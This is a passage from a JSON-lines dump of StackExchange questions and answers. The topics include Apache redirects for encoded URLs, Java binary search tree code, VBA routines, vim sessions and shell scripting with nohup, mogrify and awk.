/%D7%9E%D7%96%D7%99%D7%9F-%D7%AA%D7%9B%D7%A0%D7%99%D7%9D /For some reason all redirects with an English alias (say, site-building-from-home) works but all these with encoded aliases (Hebrew-to-machine-language) don't.Do we have an Apache-directives/PCRE expert that can explain this phenomena ?(Note: I used / instead a domain-name+TLD for flexibility considerations)." , "title": "Encoded 301 redirects don't work, only english one does" , "tags": "htaccess;redirects" , "accepted_answer": "As it states in the Apache docs for a mod-alias Redirect:The old URL-path is a case-sensitive (%-decoded) path ...So, assuming /%D7%9E%D7%96%D7%99%D7%9F-%D7%AA%D7%9B%D7%A0%D7%99%D7%9D is the actual request as sent from the client, then you will need to match against the literal, percent-decoded (aka URL-decoded), text in the Redirect directive. From your example this would be:Redirect /- /(Make sure your .htaccess file is UTF-8 encoded.)If you want to match the percent-encoded URL, as sent from the client, then you will need to use mod_rewrite and match against THE_REQUEST server variable (which is not percent-decoded). For example:RewriteCond %{THE_REQUEST} ^[A-Z]{3,9}\\ /%D7%9E%D7%96%D7%99%D7%9F-%D7%AA%D7%9B%D7%A0%D7%99%D7%9D\\ HTTP/RewriteRule ^ / [R=301,L]You will need to enable the rewrite engine earlier in your code if not already ie. RewriteEngine On.However, if you change to using mod_rewrite redirects then it is strongly recommended to change your mod_alias Redirects to use mod_rewrite as well in order to avoid unexpected conflicts." } { "id": "_codereview.60670" , "question": "Find ceiling and floor in the BinarySearchTree. Looking for code-review, optmizations and best practices.public class FloorCeiling { private TreeNode root; public FloorCeiling(List items) { create(items); } private void create (List items) { if (items.isEmpty()) { throw new NullPointerException(The items array is empty.); } root = new TreeNode(items.get(0)); final Queue queue = new LinkedList(); queue.add(root); final int half = items.size() / 2; for (int i = 0; i < half; i++) { if (items.get(i) != null) { final TreeNode current = queue.poll(); final int left = 2 * i + 1; final int right = 2 * i + 2; if (items.get(left) != null) { current.left = new TreeNode(items.get(left)); queue.add(current.left); } if (right < items.size() && items.get(right) != null) { current.right = new TreeNode(items.get(right)); queue.add(current.right); } } } } private static class TreeNode { private TreeNode left; private int item; private TreeNode right; TreeNode(int item) { this.item = item; } } private static class IntegerObj { Integer obj = null; } public int ceiling (int val) { IntegerObj iobj = new IntegerObj(); recurseCeiling(root, iobj, val); return iobj.obj; } public int floor (int val) { IntegerObj iobj = new IntegerObj(); recurseFloor(root, iobj, val); return iobj.obj; } private void recurseCeiling (TreeNode node, IntegerObj iobj, int value) { if (node == null) { return; } if (value <= node.item) { iobj.obj = node.item; recurseCeiling(node.left, iobj, value); } else { recurseCeiling(node.right, iobj, value); } } private void recurseFloor (TreeNode node, IntegerObj iobj, int value) { if (node == null) { return; } if (value < node.item) { recurseFloor (node.left, iobj, value); } else { iobj.obj = node.item; recurseFloor (node.right, iobj, value); } }}public class FloorCeilingTest { @Test public void test1() { FloorCeiling fc1 = new FloorCeiling(Arrays.asList(100, 50, 150, 25, 75, 125, 175)); assertEquals(25, fc1.ceiling(20)); assertEquals(50, fc1.ceiling(30)); assertEquals(75, fc1.ceiling(70)); assertEquals(100, fc1.ceiling(90)); assertEquals(125, fc1.ceiling(120)); assertEquals(150, fc1.ceiling(145)); assertEquals(175, fc1.ceiling(160)); } @Test public void test2() { FloorCeiling fc2 = new FloorCeiling(Arrays.asList(100, 50, 150, 25, 75, 125, 175)); assertEquals(25, fc2.floor(27)); assertEquals(50, fc2.floor(55)); assertEquals(75, fc2.floor(78)); assertEquals(100, fc2.floor(110)); assertEquals(125, fc2.floor(128)); assertEquals(150, fc2.floor(160)); assertEquals(175, fc2.floor(180)); }}" , "title": "Find floor and ceiling in the BST" , "tags": "java;tree" } { "id": "_unix.340984" , "question": "It's nice to be able to fling the mouse up and right, not having to bother with precise targeting, and click. If your hand's already on the mouse, this is easier than switching back to the keyboard to press Alt+F4 for a quick window close.E.g. Windows (since at least 95) has made this work, although they at times had very annoying almost maximized window defaults that interfered with this quite a bit in some applications. Nonetheless, actual maximized windows have always capitalized on Fitz' Law in their design this way.Is there any way to get this behaviour in Linux Mint MATE 18.1? (Marco is the window manager, it seems.) As it is, maximized windows will not close with a click in the upper-right corner. One has to precisely back up a few pixels to activate the X and close it." , "title": "Getting Mint MATE (Marco?) to put the window-close X in the actual corner, not just near it" , "tags": "linux mint;window manager;mate" } { "id": "_cs.65629" , "question": "Question: Are there any introductory texts in formal language or programming language theory which discuss how to apply it to the study of optimal notation?In particular, I am interested to learn what stack-languages, parse trees, and indices are, and how to predict when a certain type of notation will lead to exponential redundancy.I have basically no background in either formal language/grammar or programming theory, since as a math major the only computer science I learned was algorithms and graph theory, as well as very modest smidgens of complexity theory and Boolean functions. Thus, if the only books which discuss this are not introductory, I would be grateful for answers that both list such books discussing exponential notation blow-up as well as introductory books that will prepare for the books which directly address my question.Context: This question is inspired primarily by an answer on Physics.SE, which says that:It is very easy to prove (rigorously) that there is no parentheses notation which reproduces tensor index contractions, because parentheses are parsed by a stack-language (context free grammar in Chomsky's classification) while indices cannot be parsed this way, because they include general graphs. The parentheses generate parse trees, and you always have exponentially many maximal trees inside any graph, so there is exponential redundancy in the notation.Throughout the rest of the answer, other examples of exponential notation blow-up are discussed, for example with Petri Nets in computational biology.There are also other instances where mathematical notation is difficult to parse, for example as mentioned here when functions and functions applied to the argument are not distinguished clearly. This can become especially confusing when the function becomes the argument and the argument becomes the function, e.g. here." , "title": "Can formal languages be used to study mathematical notation?" , "tags": "formal languages;reference request;formal grammars;programming languages" , "accepted_answer": "Formal language theory does not concern itself with the semantics of the language. That might seem odd, since we tend to think of language as a mechanism for communicating something, but if you think about it, there are really two levels of understanding language (at least): the surface level, in which the language is a stream of lexemes, and the underlying denotational level which is more or less divorced from the surface representation. (Chomsky posited an intermediate transformational level to get around some limitations with CFGs but that's not relevant here.) Consequently, it is possible to say the same thing in different languages; Chomsky is not a Whorfian. (See Wikipedia for a brief overview, with some references).Nonetheless, a context-free grammar is not sufficient to distinguish correct and incorrect utterances. Chomsky offered the classic example: Colourless ideas sleep furiously (which he spelled incorrectly, being a USian). See Wikipedia, again. (Unfortunately Wikipedia doesn't have a Canadian English version.) The precise division between syntactic and semantic errors is hard, if not impossible, to demarcate and there has been considerable debate over this topic in CS fields, which I'm not going to even attempt to discuss here because I always get into trouble when I do. However, we can identify one classic grammatical rule present in many human languages: noun/verb agreement. I disagrees seems to me to be a syntactic error in the sense that I understand the intent of the utterance perfectly but also recognize it as erroneous. But this syntactic issue can only be captured by a context-free grammar if we enumerate all possible agreements. That is, we can write something vaguely like $S \\to NP_{sing} VP_{sing} | NP_{plural} VP_{plural}$, but it is easy to see how the enumeration could get out of hand in language with more complicated agreement rules (gender, for example).The problem with context-free grammars is that they are context-free, although you shouldn't take that description too seriously because it is easy to fall into the trap of misinterpreting technical use of common words (which, I might argue, is the basis of this question in the first place). That means that a nonterminal (like $NP$ above) must derive exactly the same set of phrases regardless of the context in which it appears. So we could not write, for example, $S \\to NP_X VP_X$ with the understanding that $X$ needs to be filled in the same way in both expansions. (This is one of the issues which which transformational grammar attempted to grapple.)That is exactly the problem with tensor index contractions. A tensor index contraction places a particular requirement on the use of index variables: an index variable must be used exactly twice, in which case it cannot be on the left-hand side, or exactly once, in which it must be on the left-hand side. (Since I'm not a physicist, I'd be tempted to collapse that into saying that an index variable must appear exactly twice in all. But there is a semantic distinction between free and placeholder variables, which is important to the understanding of the expression.) Here, there is no simple finite collection of index variables and no limit to the number of placeholders used. Moreover, renaming placeholders does not affect semantics provided that the new names are not used elsewhere in the expression, and one might expect the formal language description to capture that fact.It is in fact possible to rigorously prove the assertion that context-free grammars cannot capture contextual agreement, as in the previous examples. I think that has something to do with what the quoted claim is asserting. Depending on how omnicurious you are, you might find it interesting to learn more, but I don't think it will end up being particularly relevant to the philosophical or physical insights you seem to be seeking.The other linked articles, about unfortunate surface forms in mathematical notation, are simply anecdotal; none of them, as far as I can see, makes any deep or even superficial point relevant to formal language theory, just as the possibly famous joke that one man's fish is another man's poisson is not even vaguely insightful about romance linguistics, but it's still funny (IMO)." } { "id": "_softwareengineering.86099" , "question": "I have been designing and developing code with TDD style for a long time. What disturbs me about TDD is writing tests for code that does not contain any business logic or interesting behaviour. I know TDD is a design activity more than testing but sometimes I feel it's useless to write tests in these scenarios.For example I have a simple scenario like When user clicks check button, it should check file's validity. For this scenario I usually start writing tests for presenter/controller class like the one below.@Testpublic void when_user_clicks_check_it_should_check_selected_file_validity(){ MediaService service =mock(MediaService); View view =mock(View); when(view.getSelectedFile).thenReturns(c:\\\\Dir\\\\file.avi); MediaController controller =new MediaController(service,view); controller.check(); verify(service).check(c:\\\\Dir\\\\file.avi);}As you can see there is no design decision or interesting code to verify behaviour. I am testing values from view passed to MediaService. I usually write but don't like these kind of tests. What do yo do about these situations ? Do you write tests for all the time ?UPDATE :I have changed the test name and code after complaints. Some users said that you should write tests for the trivial cases like this so in the future someone might add interesting behaviour. But what about Code for today, design for tomorrow. ? If someone, including myself, adds more interesting code in the future the test can be created for it then. Why should I do it now for the trivial cases ?" , "title": "Do you write unit tests for all the time in TDD?" , "tags": "unit testing;language agnostic;tdd" , "accepted_answer": "I don't aim for 100 % of code coverage. And I usually don't write tests of methods which will obviously not contain any business logic and/or more than a few lines of code. But I still write unit tests (using TDD) of methods which not seem that complex. This is mostly because I like to have the unit test already, when coming back to that code months or even years later, and want to make it more complex. It's always easier to extend existing tests, than having to build it all from scratch. As Noufal said, it's subjective. My advice is to write the tests, if you think the method is a bit complex or have the potential to get more complex." } { "id": "_webapps.44166" , "question": "We use Trello as a kanban board to manage the work of multiple customer projects within our scrum team. I would like to be able to give each customer access to the board, but they should only be allowed to see the cards for their projects. How can I do this?" , "title": "Configure Trello to share subset of cards on a board to certain users" , "tags": "trello;trello organization;trello cards" } { "id": "_softwareengineering.55679" , "question": "I am a true believer in Model Driven Development, I think it has the possibility to increase productivity, quality and predictability. When looking at MetaEdit the results are amazing. Mendix in the Netherlands is growing very very fast and has great results. I also know there are a lot of problemsversioning of generators, templates and frameworkprojects that just aren't right for model driven development (not enough repetition)higher risks (when the first project fails, you have less results than you would have with more traditional development)etcBut still these problems seem solvable and the benefits should outweigh the effort needed. Question: What do you see as the biggest problems that make you not even consider model driven development ?I want to use these answers not just for my own understanding but also as a possible source for a series of internal articles I plan to write." , "title": "Why aren't we all doing model driven development yet?" , "tags": "development methodologies;mdd" , "accepted_answer": "There is no golden hammer. What works well in one domain is pretty useless in another. There is some inherent complexity in software development, and no magic tool will remove it.One might also argue that the generation of code is only useful if the language itself (or the framework) is not high-level enough to allow for powerful abstractions that would make MDD relatively pointless." } { "id": "_webapps.80595" , "question": "I have two contacts that changed their emails. In order to have the correct email address auto pop, I deleted the first contact, but before deleting the second, I wondered if, once deleted, does that delete all previous emails from that contact?" , "title": "Does deleting an email contact delete the previous emails from that contact?" , "tags": "gmail" } { "id": "_codereview.127891" , "question": "If I have an array of numbers like this:1 3 4 6 71 22 4 5 95 71 2 3 5 Is there a quick way to take all of the unique numbers and arrange them into a single column, like this?12345679The approach I have works, but takes a very long time for large matrix:Sub Test1Call RecordArrangeCall RemoveDuplicates2End SubPrivate Sub RecordArrange()Worksheets(List).ActivateDim Rng As RangeDim i As Longi = 1Application.ScreenUpdating = FalseApplication.EnableEvents = FalseApplication.Calculation = xlManualApplication.DisplayStatusBar = FalseApplication.EnableEvents = FalseDim lastRow As LonglastRow = Range(A1).End(xlDown).rowWhile i <= lastRowSet Rng = Range(A & i)If IsEmpty(Rng.Offset(0, 1).Value) = False ThenRng.Offset(0, 1).CopyRng.Offset(1, 0).Insert Shift:=xlDownRng.Offset(0, 1).Delete Shift:=xlToLeftElse: i = i + 1End IfWendColumns(A:A).Select ActiveWorkbook.Worksheets(List).Sort.SortFields.Clear ActiveWorkbook.Worksheets(List).Sort.SortFields.Add Key:=Range(A1), _ SortOn:=xlSortOnValues, Order:=xlAscending, DataOption:=xlSortNormal With ActiveWorkbook.Worksheets(List).Sort .SetRange Range(A1:A8000) .Header = xlNo .MatchCase = False .Orientation = xlTopToBottom .SortMethod = xlPinYin .Apply End With Application.EnableEvents = TrueApplication.Calculation = xlAutomaticApplication.DisplayStatusBar = TrueApplication.EnableEvents = TrueEnd SubPrivate Sub RemoveDuplicates2()Dim Rng As RangeDim i As Longi = 1Application.ScreenUpdating = FalseApplication.EnableEvents = FalseApplication.Calculation = xlManualApplication.DisplayStatusBar = FalseApplication.EnableEvents = FalseDim lastRow As LonglastRow = Range(A1).End(xlDown).rowWhile i <= lastRowSet Rng = Range(A & i)If Rng = Rng.Offset(1, 0) And IsEmpty(Rng.Value) = False ThenRng.Delete Shift:=xlUpElseIf Rng <> Rng.Offset(1, 0) And IsEmpty(Rng.Value) = False Theni = i + 1ElseIf Application.WorksheetFunction.CountA(Rng) = 0 Theni = i + 1Else: i = i + 1End IfWend Application.EnableEvents = TrueApplication.Calculation = xlAutomaticApplication.DisplayStatusBar = TrueApplication.EnableEvents = TrueEnd SubThis does work, but it seems like a very roundabout approach. Is there a better way? " , "title": "Re-arranging an matrix of numbers to a numeric list" , "tags": "vba;excel" , "accepted_answer": "If you want a list of unique members of a matrix (or 2 dimensional array), one good option is to use a dictionary (vba's hashtable/hashmap). Since vba is lacking a 'set' data structure, a dictionary will do the job just fine.if you have a 2 dimensional array (or matrix), you can just do a for each on that array.For Each member in matrix someDictionary(member) = TrueNextI am setting the value of the dictionary to True but I could just as well set it to anything (we don't care about the value in this case). What we do care about is the key. After doing this, you will have filled the dictionary with just the unique list of items in the matrix.After this loop you can just call someDictionary.Keys to get an array of the unique items. You can then sort that array however you like.*note that to use Dictionaries you will have to add a Reference to the Scripting library.--so for example:Private Sub RemoveDuplicates2() Dim Rng As Variant: Rng = ActiveSheet.UsedRange Dim cell as Variant Dim output as New Dictionary For Each cell in Rng output(cell) = True Next Dim uniques as Variant: uniques = output.Keys ' Do something with your array of uniques here ' perhaps drop to the worksheet like this ActiveSheet.Range(Cells(1,1), Cells(1,UBound(uniques)+1)) = uniquesEnd Sub" } { "id": "_webmaster.101621" , "question": "I'm using Google Tag Manager to add Google Analytics.As the title suggests, do I need to Enable Enhanced Ecommerce Features for all pages, or should I create a tag that is triggered on actual ecommerce pages and enable it there." , "title": "Does the Enhanced Ecommerce data layer need to be sent on non-ecommerce pages" , "tags": "google analytics;google tag manager" , "accepted_answer": "No, the EE dataLayer does not need to be on all pages. Assuming your page view tag is enabled to track EE data via the dataLayer, it will only track whatever you push to it, so no EE data pushed means no EE data in GA." } { "id": "_codereview.91203" , "question": "My friend and I are working on a bare-bones chat web app, using Angular on the front end. He's using Swampdragon for some of the real-time stuff.My task that I set out to achieve was to get the chat window to scroll to the bottom when a chat room is loaded (most relevant bit is $dragon.onChannelMessage):app.controller('ChatRoomCtrl', ['$scope', '$dragon', 'ChatStatus', 'Users', function ( $scope, $dragon, ChatStatus, Users) { $scope.channel = 'messages'; $scope.ChatStatus = ChatStatus; $scope.idToUser = function(id) { var user; user = $scope.users.filter(function(obj) { return obj.pk == id; }); return user[0].display_name; }; Users.getList().then(function(users) { $scope.users = users; }); $dragon.onReady(function() { $dragon.subscribe('messages', $scope.channel).then(function(response) { $scope.dataMapper = new DataMapper(response.data); }); }); $dragon.onChannelMessage(function(channels, message) { if (indexOf.call(channels, $scope.channel) > -1) { if (ChatStatus.messages[message.data.room].indexOf(message.data) == -1) { message.data.posted = new Date(message.data.posted); $scope.$apply(function() { ChatStatus.messages[message.data.room].push(message.data); setTimeout(function() { scrollToBottom(); }, 30); }); } } });}]);Or, when a new message is pushed:app.controller('RoomCtrl', ['$scope', 'Rooms', 'Messages', 'ChatStatus', function($scope, Rooms, Messages, ChatStatus) { $scope.changeRoom = function(room) { ChatStatus.selectedRoom = room; Messages.getList({'room': room.id}).then(function(messages) { angular.forEach(messages, function(message, key) { message.posted = new Date(message.posted); }); ChatStatus.messages[room.id] = messages; setTimeout(function() { scrollToBottom(); }, 30); }); } $scope.rooms = Rooms.getList() .then(function(rooms) { ChatStatus.rooms = rooms; ChatStatus.selectedRoom = rooms[0]; $scope.rooms = rooms; })}]);In both controllers, I refer to the scrollToBottom function:function scrollToBottom() { var chatWindow = document.querySelector('.the-chats'); var mostRecent = chatWindow.querySelector('li:last-child'); var mostRecentDimensions = mostRecent.getBoundingClientRect(); var chatWindowScrollY = chatWindow.scrollTop; chatWindow.scrollTop = mostRecentDimensions.bottom + chatWindowScrollY;}If I remove the setTimeout from the first controller, it'll scroll to what is the last item in the list before the new message is pushed, while the second controller will error out.If the setTimeout is in place, this does what I want it to do. However, it feels like a bad solution; it certainly doesn't feel like an 'Angular' way.I've read a bit about promises, deferred objects, $q, etc., but the examples always seem to use it in the context of AJAX-types of calls, so I don't know if that applies here. But that's really what I'm looking for, right? Push the new message, then do the scroll?" , "title": "Using setTimeout to get scrolling chat window to work, but doesn't feel like the ideal solution" , "tags": "javascript;angular.js;chat" } { "id": "_unix.158329" , "question": "Unable to launch Firefox in CentOS 6. Installed package using yum install firefox.It repeatedly shows this error,XPCOMGlueLoad error for file /usr/lib/firefox/libxul.so:libvpx.so.1: cannot open shared object file: No such file or directoryCouldn't load XPCOM.How to rectify this error?" , "title": "Unable to launch Firefox: keeps on crashing" , "tags": "libraries;firefox" } { "id": "_vi.4817" , "question": "Is there a way to run vim from command line to edit the last edited file?Let say I first edit file giorgio.sh:$ vi giorgio.shAfterwards, I exit back to terminal$ do something...$ do something else...$ do something else again...Is there a way to edit again the file in vim, maybe using some vim command line parameter/option ?$ vi {option to edit last edited/saved file}I mean without using:an internal vim command like :browse oldfilesthe beautiful MRU pluginthe bash history (requiring to scroll, if, after your edit, you ran some other commands)It is strange that it doesn't seem possible to do a so common task in a super quick Vim way." , "title": "Is there a vim command line option to edit last edited file?" , "tags": "invocation;options" , "accepted_answer": "An heavy solution: the sessionsAnother possible option is to use the sessions mechanism:First your vim version has to be compiled with the +mksession option. (Use :echo has('mksession') to check that).Now when you are about to leave vim, use the following command::mksession!This will create (or overwrite thanks to !) a file named Session.vim in the current directory which will save your current open files, windows layout and cursor position.Note that you can also give a path as parameter to mksession to choose where to save and how to name you session file.Then you can go back to your shell and do whatever you want. When you want to reopen vim with your last edited file you have to use:$vim -S /path/to/Session.vimThis will reopen the files you where editing with the cursor at the same positionHow to shorten it? If this workflow is good for you you'll probably be able to create the bash alias the most convenient for your use case. Here is an example, maybe you'll want to bend it to your way to use sessions: You can add this to your .vimrc:command! Q mksession! ~/Session.vim | qallthis will allow you to use :Q to save your session in ~/Session.vim and quit vim.As a bash alias you can create :alias lvim='vim -S ~/Session.vim'which will reload the session created when you used :Q in vim.A much lighter solution: suspend vimThis solution is not suitable if you need to close your shell.In unix shell you can suspend Vim using Ctrl+z. This will put Vim in background and you'll get acces to your shell again.In your shell when you need to get Vim back you simply have to use the command:$ fg Note That zsh provides convenient mappings to use also Ctrl+z on the shell to get Vim back.Note2 If you tend to forget that you put vim in back ground you can add these lines to your .bashrc:PROMPT_COMMAND='hasjobs=$(jobs -p)'PS1=$PS1 + '${hasjobs:+\\j }'When you don't have any background job your prompt will stay the same and when you have some background jobs, a count will appear at the end of your prompt (It's up to you to bend it to your preferences). For this trick, credits goes to jw013" } { "id": "_unix.231282" , "question": "So, how can I limit the log file size or how to automate to delete the files, if the files are reached a particular size. Here is the actual scenario PLEASE CHECK HERE. For testing, I deleted log file /root/folder/my_output_file.log, while script is running, but after deletion the log file was not regenerated. Or I have do any modifications to script to log the output properly.Thanks " , "title": "How to limit the size of log files which are generated by scripts runs at startup" , "tags": "shell script;logs" , "accepted_answer": "I found some useful code(Even, it is not efficient way to handle the logs files)#!/bin/bash MaxFileSize=10000000#Max file size 10MBwhile truedo python /root/rtt/rtt.py >> /root/script_logs/rtt.log sleep 60 com=`du -b /root/script_logs/rtt.log` file_size=`echo $com | cut -d' ' -f1` if [[ $file_size -gt $MaxFileSize ]] then echo ' ' > /root/script_logs/rtt.log fidone" } { "id": "_unix.283837" , "question": "I have a simple python file which plays a sound:#sound_test.pyimport pygame#init soundspygame.mixer.pre_init(44100, 16, 2, 4096)pygame.init()pygame.mixer.init()WAV = pygame.mixer.Sound(Music/4AM_cry.wav)WAV.play()EDIT: I've found that if I run alsamixer it shows the correct audio out but sudo alsamixer does not.If I run python3 soundtest.py it works but sudo python3 soundtest.py does not. What's going on?P.S. I have a USB DAC I'm using on a RPi. It is set to the default audio card." , "title": "Default audio (Pygame.mixer and alsamixer) doesn't work when using sudo" , "tags": "sudo" } { "id": "_cs.66486" , "question": "Background: I am a complete layman in computer science.I was reading about Busy Beaver numbers here, and I found the following passage:Humanity may never know the value of BB(6) for certain, let alone that of BB(7) or any higher number in the sequence.Indeed, already the top five and six-rule contenders elude us: we cant explain how they work in human terms. If creativity imbues their design, its not because humans put it there. One way to understand this is that even small Turing machines can encode profound mathematical problems. Take Goldbachs conjecture, that every even number 4 or higher is a sum of two prime numbers: 10=7+3, 18=13+5. The conjecture has resisted proof since 1742. Yet we could design a Turing machine with, oh, lets say 100 rules, that tests each even number to see whether its a sum of two primes, and halts when and if it finds a counterexample to the conjecture. Then knowing BB(100), we could in principle run this machine for BB(100) steps, decide whether it halts, and thereby resolve Goldbachs conjecture. Aaronson, Scott. Who Can Name the Bigger Number? Who Can Name the Bigger Number? N.p., n.d. Web. 25 Nov. 2016.It seems to me like the author is suggesting that we can prove or disprove the Goldbach Conjecture, a statement about infinitely many numbers, in a finite number of calculations. Am I missing somehing?" , "title": "Goldbach Conjecture and Busy Beaver numbers?" , "tags": "turing machines;number theory;busy beaver" } { "id": "_unix.308370" , "question": "(I'm editing an existing Bash script, so I'm probably making a silly mistake here...)I have a shell script that saves a command with an environment variable as its argument like this:COMMAND=mvn clean install -P $MAVEN_PROFILEIt then executes the command with nohup roughly as follows:nohup $COMMAND > logfileThis works.Now, I want to set an environment variable that can be accessed in Maven. I've tried several things like the following:COMMAND=FORMAVEN=valueForMaven mvn clean install -P $MAVEN_PROFILE...but then it just terminates with:nohup: failed to run command `FORMAVEN=valueForMaven': No such file or directoryI feel like there are several unrelated concepts at work here, none of which I understand or even know about. What do I need to be able to do the above?" , "title": "How can I set environment variables for a program executed using `nohup`?" , "tags": "bash;shell script;environment variables;nohup;subshell" , "accepted_answer": "Three methods:set (and export) the variable before launching mvnset the variable on the nohup launch:FORMAVEN=valueForMaven nohup $COMMAND > logfileuse env to set the variableCOMMAND=env FORMAVEN=valueForMaven mvn clean install -P $MAVEN_PROFILE" } { "id": "_scicomp.2441" , "question": "I am implementing a machine learning algorithm for which I need to solve an integer linear program. To get the solution in polynomial time, the authors of the algorithm have dropped the integral constraints and instead solve the corresponding linear program.I am not too aware of the theory of optimization, so using the Mosek optimization tool-kit as a black-box to solve the LP. Now obviously I have to add back the integral constraints once the solution of LP is obtained. Any ideas how to go about it? I am sure Mosek and other popular LP solvers would have an option for the same but can't seem to find it in their documentation or elsewhere.Thanks." , "title": "How to add back integral constraints to linear program solution" , "tags": "optimization;linear programming" , "accepted_answer": "A lot of linear programming (LP) software packages will also solve mixed-integer linear programs (MILPs) with varying degrees of effectiveness.One way to add back the integral constraints is to warm-start an MILP solver with the solution from the LP relaxation of the integer linear program (ILP) that the authors of the machine learning algorithm use. However, Ali is right that it would be more efficient to solve the original ILP. Certain algorithms (such as branch-and-bound) will solve the LP relaxation in the process of computing an optimal solution.Furthermore, any MILP solver worth using will implement MILP solution algorithms, such as branch-and-bound and branch-and-cut, with much more sophisticated algorithmic heuristics and variants than most people could code themselves. Even in problems with special structure, researchers often modify and tweak existing solvers rather than write their own.If you're at a university, I highly suggest using CPLEX or Gurobi, both of which are top-of-the-line MILP solvers that have free academic licenses. In some cases, these solvers will solve MILP instances significantly faster than their competition. That said, if your problem is small enough, speed may not really matter." } { "id": "_webapps.84667" , "question": "I created a one page flow-chart with draw.io and printed it. After opening it again to create a new version, it opened to what I thought was a blank page. There was now page after page of blank canvas, with the project in the lower right corner.I tried to go to Document Properties Custom but that didn't remove the blank pages. There is no obvious way to remove them. The structure chart content is neatly within the one page, so I don't see why it would automatically add more. The main problem is that I can't print or save because the file is so large my laptop freezes or otherwise stalls when trying to print or save as a pdf.How can I remove these blank pages?" , "title": "How to remove blank canvas pages from draw.io" , "tags": "draw.io" } { "id": "_softwareengineering.90859" , "question": "We are currently usign a roll-forward approach to DB changes, akin to Migrations, where each developer creates and checks in a script that promotes the latest version of the DB to a new state. Problems arise when multiple developers concurrently work on non-trivial tasks and end up making changes to the DB that interfere with each other. The 'non-trivial' bit is significant because if the tasks take long enough, and if DB changes occurr early enough in the cycle, neither dev ends up being aware of the other's changes, and we end up with either a DB merge nightmare (preferred case) or an inadvertently broken database.Can these situations be easily avoided? Are there database refactoring strategies that effectively handle the scenario of multiple developers actively changing the schema?If it matters, we use SQL Server." , "title": "How best to handle database refactoring within a team?" , "tags": "database;refactoring;sql server" } { "id": "_scicomp.7001" , "question": "I am trying to solve some unconstrained nonlinear optimzation problems on GPU(CUDA).The objective function is a smooth nonlinear function, and its gradient is relatively cheap to compute analytically, so I dont need to bother with numerical approximation.I want to solve this problem with mostly fp32 maths ops (for various reasons), so which nonlinear optimization method is more robust against round-up errors whilst has good performance? (e.g. conjugate gradient/quasi newton/trust region), have anyone tried BFGS on GPU with good results?btw, the Hessian, if needed, is relatively small in my case (<64x64 typically), but I need to solve thousands of these small scale optimzation problems concurrently." , "title": "Solving unconstrained nonlinear optimization problems on GPU" , "tags": "optimization;cuda" } { "id": "_codereview.91402" , "question": "Our school grading scale is from 1..10 with one decimal. If you do nothing you still get a grade of 1.0. A passing grade equals 5.5. A 'cesuur' percentage defines at what percentage of correct answers the 5.5 will be given to a student.Examples:List itemGrade(0,100,x) should always result in 1.0Grade(100,100,x) should always results in 10.0Grade(50,100,0.5) should result in 5.5Questions: how can I simplify the code? How can I make it more robust?Public Function Grade(Points As Integer, MaxPoints As Integer, Cesuur As Double) As Double Dim passPoints As Integer Dim maxGrade As Integer Dim minGrade As Integer Dim passGrade As Double Dim base As Double Dim restPoints As Integer Dim restPass As Double passPoints = Cesuur * MaxPoints maxGrade = 10 minGrade = 1 passGrade = (maxGrade + minGrade) / 2 base = maxGrade - passGrade If Points < passPoints Then Grade = 1 + (passGrade - minGrade) * Points / passPoints Else restPoints = MaxPoints - Points restPass = MaxPoints * (1 - Cesuur) Grade = maxGrade - restPoints * base / restPass End If Grade = Round(Grade, 1)End Function" , "title": "Calculate grades based on pass/fail percentage" , "tags": "vba" , "accepted_answer": "The function's parameters are implicitly passed by reference, which probably isn't the intent since none of the parameters are assigned/returned to the caller.Signature should pass its parameters by value, like this:Public Function Grade(ByVal Points As Integer, ByVal MaxByVal As Integer, ByVal Cesuur As Double) As DoublemaxGrade and minGrade are only ever assigned once - they're essentially constants and could be declared as such:Const MAXGRADE As Integer = 10Const MINGRADE As Integer = 1I would suggest to declare variables closer to their usage, and perhaps only assign the function's return value in one place.Variables restPoints and restPass are only ever used with a passing grade, in that Else block. VBA doesn't scope variables at anything tighter than procedure scope, so you could extract a method to calculate a passing grade, but that's borderline overkill - here's what it would look like, with parameter casing to camelCase:Option ExplicitPrivate Const MAXGRADE As Integer = 10Private Const MINGRADE As Integer = 1Public Function Grade(ByVal points As Integer, ByVal maxPoints As Integer, ByVal cesuur As Double) As Double Dim passPoints As Integer passPoints = cesuur * maxPoints Dim passGrade As Double passGrade = (MAXGRADE + MINGRADE) / 2 Dim base As Double base = MAXGRADE - passGrade Dim result As Double If points < passPoints Then result = 1 + (passGrade - MINGRADE) * points / passPoints Else result = CalculatePassingGrade(MAXGRADE, base, points, maxPoints, cesuur) End If Grade = Round(result, 1)End FunctionPrivate Function CalculatePassingGrade(ByVal base As Double, ByVal points As Integer, ByVal maxPoints As Integer, ByVal cesuur As Double) As Double Dim restPoints As Integer restPoints = maxPoints - points Dim restPass As Double restPass = mxPoints * (1 - cesuur) CalculatePassingGrade = MAXGRADE - restPoints * base / restPassEnd Function" } { "id": "_unix.339093" , "question": "I have some Picture, that I want have in black and white.I'am in the right folder. -rw-r--r-- 1 alex alex 1027 Jan 21 13:07 target-0.jpg-rw-r--r-- 1 alex alex 1001 Jan 21 12:17 target-1.jpg-rw-r--r-- 1 alex alex 957 Jan 21 12:17 target-2.jpg-rw-r--r-- 1 alex alex 982 Jan 21 12:17 target-4.jpgWhy do this not work? for i in *.jpg ; do mogrify -monochrome ; doneNo errors, but no black and white Pictures. When I convert them single mogrify -monochrome target-0.jpg it works as expected. Version of imagemagickapt-cache policy imagemagickimagemagick: Installiert: 8:6.8.9.9-5+deb8u6 Installationskandidat: 8:6.8.9.9-5+deb8u6 Versionstabelle: *** 8:6.8.9.9-5+deb8u6 0 500 http://security.debian.org/ jessie/updates/main amd64 Packages 500 http://http.us.debian.org/debian/ jessie/main amd64 Packages 100 /var/lib/dpkg/statusAnd env | grep -i shellSHELL=/bin/bash" , "title": "mogrify -monochrome to several Picture" , "tags": "bash;command line;imagemagick;image manipulation" , "accepted_answer": "You do not pass the variable i to your mogrify command in the for loop. It should be as follows.for i in *.jpg ; do mogrify -monochrome $i; done" } { "id": "_unix.4840" , "question": "I run the following command:grep -o [0-9] errors verification_report_3.txt | awk '{print $1}'and I get the following result:1408I'd like to add each of the numbers up to a running count variable. Is there a magic one liner someone can help me build?" , "title": "Adding numbers from the result of a grep" , "tags": "bash;shell;grep" , "accepted_answer": "grep -o [0-9] errors verification_report_3.txt | awk '{ SUM += $1} END { print SUM }'That doesn't print the list but does print the sum. If you want both the list and the sum, you can do:grep -o [0-9] errors verification_report_3.txt | awk '{ SUM += $1; print $1} END { print SUM }'" } { "id": "_webapps.58069" , "question": "To legally reuse a CC image from Flickr, you must attribute properly the source and license, as explained on this blog: 